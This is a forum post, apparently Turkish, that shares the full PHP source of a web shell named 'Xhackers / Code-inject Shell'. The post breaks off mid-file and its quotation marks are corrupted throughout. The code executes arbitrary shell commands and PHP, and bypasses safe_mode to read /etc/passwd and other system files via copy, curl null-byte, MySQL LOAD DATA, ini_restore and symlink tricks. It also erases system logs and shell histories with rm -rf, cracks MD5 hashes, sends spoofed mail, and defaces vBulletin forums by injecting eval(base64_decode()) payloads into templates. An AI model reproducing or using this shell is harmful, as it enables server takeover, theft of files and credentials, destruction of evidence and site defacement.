Shell kodları bana ait değildir umarım işinize yarar.-
Kod:
<p align="right"></p><body bgcolor=-#000000">
<?php
/*********************************************************************
Script: Xhackers Shell
version: 2.0
Coder: Crazy_Hacker
age: 16
[!]Copyright is reserved for the coder.
[!]This script is coded by ARAB MUSLIM.
[!]The coder is Leader of Xhackers Team & Member in Hackteach Team.
[!]Plz if you need to take a code from the shell put the refrence.
Greetz To all Muslim Hackers & Programmers :)
*********************************************************************/
################# SQl Information Please Edit ########################
///////////////////////////////
//
$mysql_use = "yes"; //"no" //
$mhost = "localhost"; //
$muser = "root"; //
$mpass = --; //
$mdb = "vb"; //
///////////////////////////////
################ End of SQL Information #############################
######################## Begining of Coding ;) ######################
error_reporting(0);
//variables
$info = $_SERVER['SERVER_SOFTWARE'];
$site = getenv("HTTP_HOST");
$page = $_SERVER['SCRIPT_NAME'];
$sname = $_SERVER['SERVER_NAME'];
$uname = php_uname();
$smod = ini_get('safe_mode');
$disfunc = ini_get('disable_functions');
$yourip = $_SERVER['REMOTE_ADDR'];
$serverip = $_SERVER['SERVER_ADDR'];
$version = phpversion();
$ccc = realpath($_GET['chdir']).-/-;
$fdel = $_GET['fdel'];
$execute = $_POST['execute'];
$cmd = $_POST['cmd'];
$commander = $_POST['commander'];
$ls = "ls -la";
$source = $_POST['source'];
$gomkf = $_POST['gomkf'];
$title = $_POST['title'];
$sourcego = $_POST['sourcego'];
$ftemp = "tmp";
$temp = tempnam($ftemp, "cx");
$fcopy = $_POST['fcopy'];
$tuser = $_POST['tuser'];
$user = $_POST['user'];
$wdir = $_POST['wdir'];
$tdir = $_POST['tdir'];
$symgo = $_POST['symgo'];
$sym = "code.txt";
$to = $_POST['to'];
$sbjct = $_POST['sbjct'];
$msg = $_POST['msg'];
$header = "From:-.$_POST['header'];
//PHPinfo
if(isset($_POST['phpinfo']))
{
die(phpinfo());
}
//Safemode is it on or off
if ($smod)
{
$c_h = -<font color=red face='Verdana' size='1'>ON</font>-;
}
else
{
$c_h = -<font face='Verdana' size='1' color=green>OFF</font>-;
}
//Disable Functions
if (--==($disfunc))
{
$dis = -<font color=green>None</font>-;
}
else
{
$dis = -<font color=red>$disfunc</font>-;
}
//Change Directory
if(isset($_GET['dir']) && is_dir($_GET['dir']))
{
chdir($_GET['dir']);
}
$ccc = realpath($_GET['chdir']).-/-;
//header
echo -<head>
<style>
body { font-size: 12px;
font-family: arial, helvetica;
scrollbar-width: 5;
scrollbar-height: 5;
scrollbar-face-color: black;
scrollbar-shadow-color: silver;
scrollbar-highlight-color: silver;
scrollbar-3dlight-color:silver;
scrollbar-darkshadow-color: silver;
scrollbar-track-color: black;
scrollbar-arrow-color: silver;
}
</style>
<title>code-inject Shell - [$site]</title></head>-;
//header Table
echo -<body text=-#FFFFFF' bgcolor=-#000000'>
<table border='1' width='100%- id='table1' bordercolorlight=-#C0C0C0' bordercolordark=-#333333'>
<tr>
<td bgcolor=-#333333'><center><a title=-::+::Code-inject Shell::+::- href=--.$_SERVER['HTTP_REFERER'].-->
<font color=-#FFFFFF' size='5' face='Wingdings'>N</font><font color=-#FFFFFF'>
<font size='5' face='Copperplate Gothic Bold'>Code-inject Sh3ll </font>
</font><font color=-#FFFFFF' size='5' face='Wingdings'>N</font></a></center></td>
</tr>
<tr>
<td bgcolor=-#000000' style='border: 1px solid #333333'>
<font face='Verdana' size='1'>Site: <u>$site</u><br>Server name: <u>$sname</u><br>Software: <u>$info</u><br>Version : <u>$version</u><br>Uname -a: <u>$uname</u><br>Path: <u>$ccc</u><br>Safemode: <u>$c_h</u><br>Disable Functions: <u>$dis</u><br>Page: <u>$page</u><br>Your IP: <u>$yourip</u><br>Server IP: <u><a href='http://whois.domaintools.com/-.$serverip.-->$serverip</a></u></font></td>
</tr>
</table>-;
//Buttons List
echo -<center><form method=POST action'-><input type=Submit name=home value=- Home - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=Submit name=phpinfo value=- PHPinfo - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=encode value=- Encoder - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000' />=<input type=submit name=commander value=- Commander - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=Submit name=chmod value=- Chmod - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=mail value=- Send Mail - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=sbypass value='Safemode Bypass' style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=log value=- Erase Logs - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=vbh value=- VB Hack - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=crack value=- Cracker - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>=<input type=submit name=eval value='Eval PHP Code' style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'><br><br><input type=submit name=about value=- About - style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></form></center>-;
//Edit File
$edit = $_GET['edit'];
if ($edit)
{
$content = file_get_contents($edit);
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<form method=POST action=--><input type='hidden' name='editfile' value=--.$edit.--><center><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000' name='newtext'>-.htmlspecialchars($content).-</textarea><br><input type=submit name='edit' value='Save' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></center></form>
</td></tr>
</table></center>-;
die();
}
if (isset($_POST['edit']))
{
$file = $_POST['editfile'];
$ch = fopen($file, "w+-) or die(-<script>alert('Error Editing !!!-); </script>-);
fwrite($ch, stripslashes($_POST['newtext'])) or die (-<script>alert('Error writing on file !!!-); </script>-);
fclose($ch);
echo -<script>alert('Done :)-);</script>-;
}
//Make File
if (isset($gomkf))
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><form method=POST action=--><input type=hidden name=title value=-.$title.-><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000' name=source></textarea><br><input type='submit' name=sourcego value=Save style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></center></form>
</td></tr>
</table></center>-;
die();
}
if (isset($sourcego))
{
$mkfile = fopen($title, "w+-);
$write = fwrite($mkfile, stripcslashes($source));
fclose($mkfile);
}
if ($write)
{
echo -<script>alert('Saved :)-);</script>-;
}
//Encoder
if (isset($_POST['encode']))
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><form method=POST action=--><font face='Comic Sans MS' size='2'>.:Text:.</font> <br><textarea style='color: #FFFFFF; background-color: #000000' name=encoder></textarea><br><input type='submit' name=engo value=Encode style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></center></form>
</td></tr>
</table></center><br>-;
die();
}
if (isset($_POST['engo']))
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'><center>
<font face='Comic Sans MS' size='2'>MD5: </font><input type=text value=-.md5($_POST['encoder']).- size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>Sha1: </font><input type=text value=-.sha1($_POST['encoder']).- size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>Crc32: </font><input type=text value=-.crc32($_POST['encoder']).- size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>Base64 Encode:</font><input type=text value=-.base64_encode($_POST['encoder']).- size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>Base64 Decode:</font><input type=text value=-.base64_decode($_POST['encoder']).- size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'></center>
</td></tr>
</table>-;
}
// Code-inject Team
if (empty($_POST['codeinject'] ) ) {
}
else
{
echo -<table Width='100%- height='10%- bgcolor=-#000000' border='1'><tr><td><center><font size='6' color=-#BBB516'>
<font size='6' color=-#C0C0C0'>
<p align=\"center\- dir=\"ltr\-><b>Code-inject Team</b></p>
<p align=\"center\- dir=rtl></font><font size='6' color=-#BBB516'>
<br>
<font face=\"Tahoma\-><b>BySiriUS<br>
....<br>
....<br>
<a href=http://Code-inject.org><font color=\-#BBB516\->http://code-inject.org</font>
</a></b></font></p>
<font size='6' color=-#C0C0C0'>
<p align=\"center\- dir=\"ltr\-><b><br>
Code-inject Team</b></p>
</font><font size='6' color=-#FF0000' face=\"Tahoma\->
<p align=\"center\- dir=ltr><b>Cold z3ro<br>
BySiriUS<br>
<a href=Http://Code-inject.org/><font color=\-#FF0000\->Http://Code-inject.org/</font></a></b></p>
<font size='6' color=-#BBB516'>
<p align=\"center\-></p>-;
echo -</font></center></td></tr></table>-;}
//Send Mail
if (isset($_POST['mail']))
{
echo -<center><table table border=0 width='100%-><tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><form method=POST action=--><font face='Comic Sans MS' size='2'>To: </font><input type=text name=to size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>From: </font><input type=text name=header size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>Subject:</font><input type=text name=sbjct size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS' size='2'>Messege:</font><br><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000' name=msg></textarea><br>
<input type=submit name=send value=- send - style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt'></form></center></td></tr></table></center>-;
die();
}
if (isset($_POST['send']))
{
mail($to,$sbjct,$msg,$header);
echo -<script>alert('Sended :) -); </script>-;
}
//Safemode Bypass
if (isset($_POST['sbypass']))
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'><center>
<form method=POST action=--><font face='Comic Sans MS' size='2'>Copy : </font><input type=text name=fcopy value=/etc/passwd size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><input type=submit value=GO style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form><form method=POST action=--><font face='Comic Sans MS' size='2'>Curl: </font><input type=text name=curl value=/etc/passwd size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000' ><input type=submit value='GO' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></form>
<form method=POST action=--><font face='Comic Sans MS' size='2'>ini_restore:</font><input type=text name=ini value=/etc/passwd size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000' ><input type=submit value='GO' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></form>
<form method=POST action=--><font face='Comic Sans MS' size='2'>Directory: </font><input type=text name=phpdir value=/etc/valiases size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<input type=submit value='GO' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form><font color=red face='Comic Sans MS' size='1'>(Edit Sql information in shell)</font><form method=POST action=--><font face='Comic Sans MS' size='2'>SQL : </font><input type=text name=sql value=/etc/paswd size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><input type=submit value=GO style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form>
<form method=POST action=--><input type=Submit name=sym value='Bypass By Symlink' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'> <input type=Submit name=lns value='Bypass By Symlink 2' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form>
</center>
</td></tr>
</table>-;
die();
}
//Safemode Bypass Code
//copy
if (copy($fcopy,$temp))
{
$codeinject = fopen("compress.zlib://-.$fcopy, "r");
$read = fread($codeinject, 50000);
fclose($code-inject);
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>-.htmlspecialchars($read).-</textarea>
</center></td></tr></table></center>-;
unlink($temp);
die();
}
//Bypass By SQL
if(empty($_POST['sql'])){
} else {
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><textarea rows='19' cols='103' method=POST style='color: #FFFFFF; background-color: #000000'>-;
$sqlfile=$_POST['sql'];
$mysql_files_str = -/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(-:-, $mysql_files_str);
$sql = array (
"USE $mdb",
'CREATE TEMPORARY TABLE - . ($tbl = 'A'.time ()) . - (a LONGBLOB)-,
"LOAD DATA LOCAL INFILE -$sqlfile' INTO TABLE $tbl FIELDS -
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' -
. "ESCAPED BY -- -
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'-,
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: - . $statement . -\n" .
"REASON: - . mysql_error () . -\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
echo -</textarea></center></td></tr></table></center>-;
die();
}
//Bypass By Symlink
if (isset($_POST['sym']))
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><form method=post action=--><font face='Comic Sans MS' size='2'>File To Copy:</font><input type=text name=symco value=etc/passwd size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'> <font face='Comic Sans MS' size='2'>Name of File to copy to:</font><input type=text name=symf value=code.txt size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br><br><input type=submit value=- OK - name=symok style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form></center></td></tr></table></center>-;
die();
}
$symco = $_POST['symco'];
$symf = $_POST['symf'];
if ($_POST['symok'])
{
symlink($symco,$symf);
echo -<script>alert('Done :) -); </script>-;
echo -<script>window.location=--.$symf.--</script>-;
}
//Bypass By Symlink 2
$lns = $_POST['lns'];
if($lns)
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><form method=post action=--><font face='Comic Sans MS' size='2'>File To Copy:</font><input type=text name=lnc value=etc/passwd size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'> <font face='Comic Sans MS' size='2'>Name of File to copy to:</font><input type=text name=lnf value=xhackers.txt size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br><br><input type=submit value=- OK - name=lnok style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'>
</form></center></td></tr></table></center>-;
die();
}
$lnc = $_POST['lnc'];
$lnf = $_POST['lnf'];
if($_POST['lnok'])
{
system("ln -s $lnc $lnf");
echo -<script>alert('Done :) -); </script>-;
echo -<script>window.location=--.$lnf.--</script>-;
}
//Bypass By Read-D
if (($phpdir == --) or ($phpdir == -/Directory"));
else {
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>-;
$dh = opendir($phpdir) or print("couldn't open directory");
while (!(($dfile = readdir($dh)) === false)) {
if (is_dir(-$phpdir/$dfile")) {
echo -\n[D] : -;
}
echo -$dfile\n";
}
closedir($dh);
echo -</textarea></center></td></tr></table></center>-;
die();
}
//Bypass By Curl
if(empty($_POST['curl'])){
} else {
echo "Reading .....-,-<br>- ;
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'><center>
<textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>-;
$m=$_POST['curl'];
$li =
curl_init("file:///-.$m.-\x00/../../../../../../../../../../../../-.__FILE__);
curl_exec($li);
var_dump(curl_exec($li));
echo -</textarea></center></td></tr></table></center>-;
die();
}
//Bypass By ini_restore
if(empty($_POST['ini'])){
} else {
echo "Reading ...-,-<br> -;
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>-;
$ini=$_POST['ini'];
echo ini_get("safe_mode");
echo ini_get("open_basedir");
$s=readfile(-$m");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
$s=readfile(-$ini");
echo -</textarea></center></td></tr></table></center>-;
die();
}
//Erase Logs
if (isset($_POST['log']))
{
echo -<center><table border=0 width='100%-><tr><td style='border:1px solid #C0C0C0; background-color: #333333'><center><form method=POST action=--><input type=submit name=erase value=Erase style='color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></form></center></td></tr></table></center>-;
die();
}
if (isset($_POST['erase']))
{
system("rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name 'log*- -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;-);
echo -<script>alert('Erased :) -);</script>-;
}
//Cracker
if (isset($_POST['crk']))
{
crack();
}
if (isset($_POST['crack']))
{
echo -<center><table border=0 width='100%-><tr><td style='border:1px solid #C0C0C0; background-color: #333333'><center><font face='Comic Sans MS'>.:MD5 Cracker:.</font></center><center>
<form method=POST action=--><font face='Comic Sans MS'>List: </font><input type=list name=list size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br><font face='Comic Sans MS'>Hash:</font><input type=text name=hash size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br><input type=submit name=crk value=Crack style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt'>
</form></center></td></tr></table>-;
die();
}
function crack()
{
if (!empty($_POST['hash']) && !empty($_POST['list']))
{
echo -<center><table border=0 width='100%-><tr><td style='border:1px solid #C0C0C0; background-color: #333333'><center><font face='Comic Sans MS'>Cracking Please Wait ....</font>-;
$hash = strtoupper($_POST['hash']);
$list = fopen($_POST['list'], "r");
if ($list)
{
while (!feof($list))
{
$word=trim(fgets($list),- \n\r");
if ($hash == strtoupper(md5($word)))
{
echo -<font face='Comic Sans MS'><br>Cracked :<br>The Password is -.$word.-</font></center></td></tr></table>-;
}
}
fclose($list);
}
}
}
//VB HACK
if (isset($_POST['vbh']))
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><font face='Comic Sans MS'>.:Change all pages of Vbulletin Script:.</font></center>
<center><form method=POST action=--><font face='Comic Sans MS'>Host</font><br><input type=text name=dbh value=localhost size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS'>Database Username<br></font><input type=text name=dbu size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS'>Database Name<br></font><input type=text name=dbn size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS'>Database Pass<br></font><input type=password name=dbp size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'><br>
<font face='Comic Sans MS'>Your Index</font><br><textarea name=index rows='19' cols='103' style='color: #FFFFFF; background-color: #000000'>code-inject shell ruind your server</textarea><br>
<input type=submit value='Hack It' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px dashed #FFFFFF; background-color: #000000'></form></center></td></tr></table></center>-;
die();
}
$dbh = $_POST['dbh'];
$dbu = $_POST['dbu'];
$dbn = $_POST['dbn'];
$dbp = $_POST['dbp'];
$index = $_POST['index'];
$index=str_replace(-\--,---,$index);
$set_index = -{\${eval(base64_decode(\--;
$set_index .= base64_encode("echo \-$index\-;-);
$set_index .= -\-))}}{\${exit()}}</textarea>-;
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
{
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$crazy_hacker = "UPDATE template SET template=--.$set_index.-- WHERE title='spacer_open'-;
$crazy_hacker2 = "UPDATE template SET template=--.$set_index.-- WHERE title='FORUMHOME'-;
$crazy_hacker3 = "UPDATE style SET css=--.$set_index.--, stylevars=--, csscolors=--, editorstyles=---;
$result = mysql_query($crazy_hacker) or die (mysql_error());
$result = mysql_query($crazy_hacker2) or die (mysql_error());
$result = mysql_query($crazy_hacker3) or die (mysql_error());
echo -<script>alert('VB is Hacked :) -);</script>-;
}
//Commander
if (isset($execute))
{
echo -<center><table border=0 width='100%->-;
echo -<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>-;
echo -<pre><font face='Courier New' color=green>-;
switch ($_POST['function'])
{
case "system":
system($cmd);
break;
case "passthru":
passthru($cmd);
break;
case "exec":
exec($cmd);
break;
case "shell_exec":
shell_exec($cmd);
break;
case "popen";
$codeinject = popen($_POST['cmd'].- 2>&1', 'r');
echo --$codeinject'; - . gettype($codeinject) . "n";
$read = fread($codeinject, 2096);
echo $read;
pclose($codeinject);
}
echo -</font></pre>-;
echo -</td></tr>-;
echo -</table></center>-;
echo -<td width='50%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'><center>
<font face='Comic Sans MS' size='2'><b>.:Execute Commands:.</b></font>
<a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<br><form method=POST action=--><input type='text' name='cmd' value='ls -la' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'></a> <select name=function size=1 style='color: #FFFFFF; background-color: #000000'>
<option>system</option>
<option>passthru</option>
<option>exec</option>
<option>shell_exec</option>
<option>popen</option>
</select><br><br>
<input type='submit' name='execute' value='Command' style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt' /></form></td>-;
die();
}
if ($commander)
{
echo -<td width='50%- height='1' valign='top' style='font-family: verdana; color: #d9d9d9; font-size: 11px'><center>
<font face='Comic Sans MS' size='2'><b>.:Execute Commands:.</b></font>
<a bookmark='minipanel' style='font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none'>
<br><form method=POST action=--><input type='text' name='cmd' value='ls -la' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'></a> <select name=function size=1 style='color: #FFFFFF; background-color: #000000'>
<option>system</option>
<option>passthru</option>
<option>exec</option>
<option>shell_exec</option>
<option>popen</option>
</select><br><br>
<input type='submit' name='execute' value='Command' style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt' /></form></td>-;
die();
}
//Home
if($_POST['home'])
{}
//Chmod
if ($_POST['chmod'])
{
echo -<center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><font face='Comic Sans MS'>.:Chmod:.</font></center><center>
<form method=POST action=--><font face='Comic Sans MS'>Choose File: </font><input type=text value=-$ccc' name='chf' size='50' style='font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1px solid #666666; background-color: #000000'>
<br><font face='Comic Sans MS'>Chmod:</font>
<select name=chh size=1 style='color: #FFFFFF; background-color: #000000'>
<option>777</option>
<option>755</option>
<option>644</option>
<br><input type=submit name=chs value=Change style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt'>
</form></center></td></tr></table>-;
die();
}
$chf = $_POST['chf'];
if ($_POST['chs'])
{
switch($_POST['chh'])
{
case 777:
chmod($chf,0777);
break;
case 755:
chmod($chf,0755);
break;
case 644:
chmod($chf,0644);
}
echo -<font face='Comic Sans MS' size=2>Changed mode of file $chf to -.$_POST['chh'].-</font>-;
}
//About
if (isset($_POST['about']))
{
die(-<center>
<table border=0 width='53%- height='257' cellspacing='0' cellpadding='0'>
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
</td></tr>
<tr><td style='border:1px solid #C0C0C0; background-color: #333333' height='28'>
<b><font face='Verdana' size='2'>::Script::</font></b></td></tr>
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<font face='Verdana' size='2'>Name: codeinject Shell<br>Version: 1.0</font></td></tr>
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<font face='Verdana' size='2'><b>::Author::</b></font></td></tr>
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<font face='Verdana' size='2'>Name:BySiriUS<br>Age: 16<br>Country: United Arab Emirates (UAE)</font></td></tr>
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
</td></tr></table></center>-);
}
//Eval PHP Code
if (isset($_POST['eval']))
{
echo -<form method=POST action=--><center><table border=0 width='100%->
<tr><td style='border:1px solid #C0C0C0; background-color: #333333'>
<center><textarea rows='19' cols='103' style='color: #FFFFFF; background-color: #000000' name=evtext></textarea><br><input type=submit name=evalp value=Execute style='color: #FFFFFF; border: 1px dotted #FFFFFF; background-color: #000000; font-size:8pt'>
</center></td></tr></table></center></form>-;
die();
}
if (isset($_POST['evalp']))
{
die(eval(stripslashes($_POST['evtext'])));
}
//Files & Dir's
echo -<center><table border=0 width='100%->-;
if (is_dir($ccc)){
if ($dh=opendir($ccc)){
echo -<td style='border:1px solid #C0C0C0; background-color: #333333' height='22' align='left' nowrap><b><font face='Comic Sans MS' size=2>Files & Folders</font></b></td>
<td style='border:1px solid #C0C0C0; background-color: #333333' height='22' align='left' nowrap><b><font face='Comic Sans MS' size=2>Size</font></b></td>
<td style='border:1px solid #C0C0C0; background-color: #333333' height='22' align='left' nowrap><b><font face='Comic Sans MS' size=2>Edit File</font></b></td>
<td style='border:1px solid #C0C0C0; background-color: #333333' height='22' align='left' nowrap><b><font face='Comic Sans MS' size=2>Delete</font></b></td>
<td style='border:1px solid #C0C0C0; background-color: #333333' height='22' align='left' nowrap><b><font face='Comic Sans MS' size=2>Chmod</font></b></td>
-;
while (($file = readdir($dh)) !== false) {
echo -<tr>-;
echo -<td style='border:1px solid #C0C0C0; background-color: #333333' width='250' height='22' align='left' nowrap>-;
if (is_dir($ccc.$file))
{
echo -<a href=-?dir=ch&chdir=$ccc$file'><span style='text-decoration: none'><font face='Wingdings' color=yellow size=1>1</font><font face='Comic Sans Ms' color=red size=2>[$file]</font></span></a><br>-;
}
else
{
echo -<font face='Wingdings' color=green>2</font><font face='Comic Sans Ms' size=2>$file</font><br>-;
}
echo -</td>-;
echo"<td style='border:1px solid #C0C0C0; background-color: #333333' width='10' align='center' nowrap>-;
//File size
$fsize = round(filesize($file)/1024);
if (is_file($ccc.$file))
{
echo -<font face='Comic Sans Ms' color=red size=2>-.$fsize."KB</font>-;
}
else
{
echo - -;
}
echo -</td>-;
//Edit
echo -<td width='10' align='center' nowrap style='border:1px solid #C0C0C0; background-color: #333333'>-;
if (is_file($ccc.$file)){
echo -<a href=-?dir=ch&edit=$ccc$file'><span style='text-decoration: none'><font size='2' color='green' face='Comic Sans MS'>Edit";
}else {
echo - -;
}
echo -
</a></font></td>-;
//Delete
echo -<td width='10' align='center' nowrap style='border:1px solid #C0C0C0; background-color: #333333'>-;
if (is_file($ccc.$file))
{
echo -<a href=-?dir=ch&fdel=$ccc$file'><span style='text-decoration: none'><font size='2' face='Comic Sans MS' color=red>Delete</font></span></a>-;
}
else
